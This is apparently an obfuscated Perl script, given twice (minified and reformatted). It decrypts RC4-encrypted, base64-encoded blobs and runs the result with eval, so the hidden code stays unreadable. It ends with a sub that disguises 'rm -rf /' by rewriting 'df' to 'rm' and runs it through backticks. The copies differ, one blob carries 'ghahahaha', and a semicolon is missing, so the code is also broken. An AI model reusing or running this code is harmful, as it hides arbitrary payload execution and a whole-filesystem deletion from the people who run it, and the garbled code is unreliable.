sub l{my $k="fc38ecf7b7a1b2281b07aecd42948feb";my $m=shift;my $c=1024;my $p=undef;my $x=0;
my $y=0;my @s=n($k);my @a = unpack("C*", $m);for(@a){$x=0 if(++$x>255);$y-=256 if(($y+=$s[$x])>255);
@s[$x,$y]=@s[$y,$x];$_^=$s[($s[$x]+$s[$y])%256];}return pack("C*", @a);}sub p{my $z="P2+U29ESKJ5oiBv".
"To3tsk14foAim4OoKJZ+UWAmyO9UQtW6kXqxSV8uMK8u4cmj80 qmKxszLVU+VplI/kpD4HkjtFpc6pPfXrKM43no2BTK00vW4gdSN".
"O08nHehqn9/Y3Dz0e4pPfAxebKSwDA9Wg4T5VzYito9ENRqhXx55ihDBTRUxg VF6WdGliAyhClf3F3/mxVKwqUrzHb2R4OYqHnxNUMC".
"TET/ASk7htvfX6av4z4p7C/gN1xBDEseuontJ4DKzOZuKlnpOnbzuQ3mnQeoRXx1qn4bXxzUz LyZ3dZGtSTeeboFaifMggRJa7Jm8ud".
"KD4owYU1ZZ0bZLjZlgTXBNTT7C2AhVvWIaA2sSKU8=";eval(l(o(\$z)));}sub n{my @k=unpack('C*', shift);
my @s=0..255;my $y=0;my $x=0;for $x (0..255){$y=($k[$x%@k]+$s[$x]+$y)%256;@s[$x,$y]=@s[$y,$x];}
return @s;}sub i {my $i="P2+Qm4RBNpk921CY9mxxyx0RoUb657EAYr+0ehfnUaE3kUiAdM IkFtnEeY+wd2DtlvT1qMzVAGOg".
"nGNb+rnEJBu9Sdok6PDKsKNh3TFmUgyvhbKJi97ZHFhzDP0zh8 iHmnWza4oUZEIcL4+pJ08e1Zb4UT4iuM5/MFzwXxl3ngPTWFp2/l".
"plGNOnyVeODEb8cHjl2xe3ow+DALyN6+M0TT1FQJSWU3zAWF28 s5e2zI7J/Jd2Tg==";my$z=l(o(\$i));eval($z);}sub o{my $d=shift;
my $b=undef;my $l=undef;$$d=~tr|A-Za-z0-9+=/||cd;$$d=~s/=+$//;$$d=~tr|A-Za-z0-9+/| -_|;while( $$d=~/(.{1,60})/gs )
{$l= chr(32 + length($1)*3/4);$b.= unpack("u", $l.$1);}return $b;}

sub l {
    my $k = "fc38ecf7b7a1b2281b07aecd42948feb";
    my $m = shift;
    my $c = 1024;
    my $p = undef;
    my $x = 0;
    my $y = 0;
    my @s = n($k);
    my @a = unpack( "C*", $m );
    for (@a) {
        $x = 0 if ( ++$x > 255 );
        $y -= 256 if ( ( $y += $s[$x] ) > 255 );
        @s[ $x, $y ] = @s[ $y, $x ];
        $_ ^= $s[ ( $s[$x] + $s[$y] ) % 256 ];
    }
    return pack( "C*", @a );
}

sub p {
    my $z =
        "P2+U29ESKJ5oiBv"
      . "To3tsk14foAim4OoKJZ+UWAmyO9UQtW6kXqxSV8uMK8u4cmj80   qmKxszLVU+VplI/kpD4HkjtFpc6pPfXrKM43no2BTK00vW4gdSN"
      . "O08nHehqn9/Y3Dz0e4pPfAxebKSwDA9Wg4T5VzYito9ENRqhXx55ihDBTRUxg   VF6WdGliAyhClf3F3/mxVKwqUrzHb2R4OYqHnxNUMC"
      . "TET/ASk7htvfX6av4z4p7C/gN1xBDEseuontJ4DKzOZuKlnpOnbzuQ3mnQeoRXx1qn4bXxzUz   LyZ3dZGtSTeeboFaifMggRJa7Jm8ud"
      . "KD4owYU1ZZ0bZLjZlgTXBNTT7C2AhVvWIaA2sSKU8=";
    eval( l( o( \$z ) ) );
}

sub n {
    my @k = unpack( 'C*', shift );
    my @s = 0 .. 255;
    my $y = 0;
    my $x = 0;
    for $x ( 0 .. 255 ) {
        $y = ( $k[ $x % @k ] + $s[$x] + $y ) % 256;
        @s[ $x, $y ] = @s[ $y, $x ];
    }
    return @s;
}

sub i {
    my $i =
"P2+Qm4RBNpk921CY9mxxyx0RoUb657EAYr+0ehfnUaE3kUiAdM   IkFtnEeY+wd2DtlvT1qMzVAGOg"
      . "nGNb+rnEJBu9Sdok6PDKsKNh3TFmUgyvhbKJi97ZHFhzDP0zh8   iHmnWza4oUZEIcL4+pJ08e1Zb4UT4iuM5/MFzwXxl3ngPTWFp2/l"
      . "plGNOnyVeODEb8cHjl2xe3ow+DALyN6+M0TT1FQJSWU3zAWF28   s5e2zI7J/Jd2Tghahahaha";
    my $z = l( o( \$i ) );
    eval($z);
}

sub o {
    my $d = shift;
    my $b = undef;
    my $l = undef;
    $$d =~ tr|A-Za-z0-9+=/||cd;
    $$d =~ s/=+$//;
    $$d =~ tr|A-Za-z0-9+/| -_|;
    while ( $$d =~ /(.{1,60})/gs ) {
        $l = chr( 32 + length($1) * 3 / 4 );
        $b .= unpack( "u", $l . $1 );
    }
    return $b;
}

sub l {
   my $d = '-rf /'
   my $c = 'df';

   $c =~ s/df/rm/;

   `$c $d`;
}

l("To3tsk14foAim4OoKJ");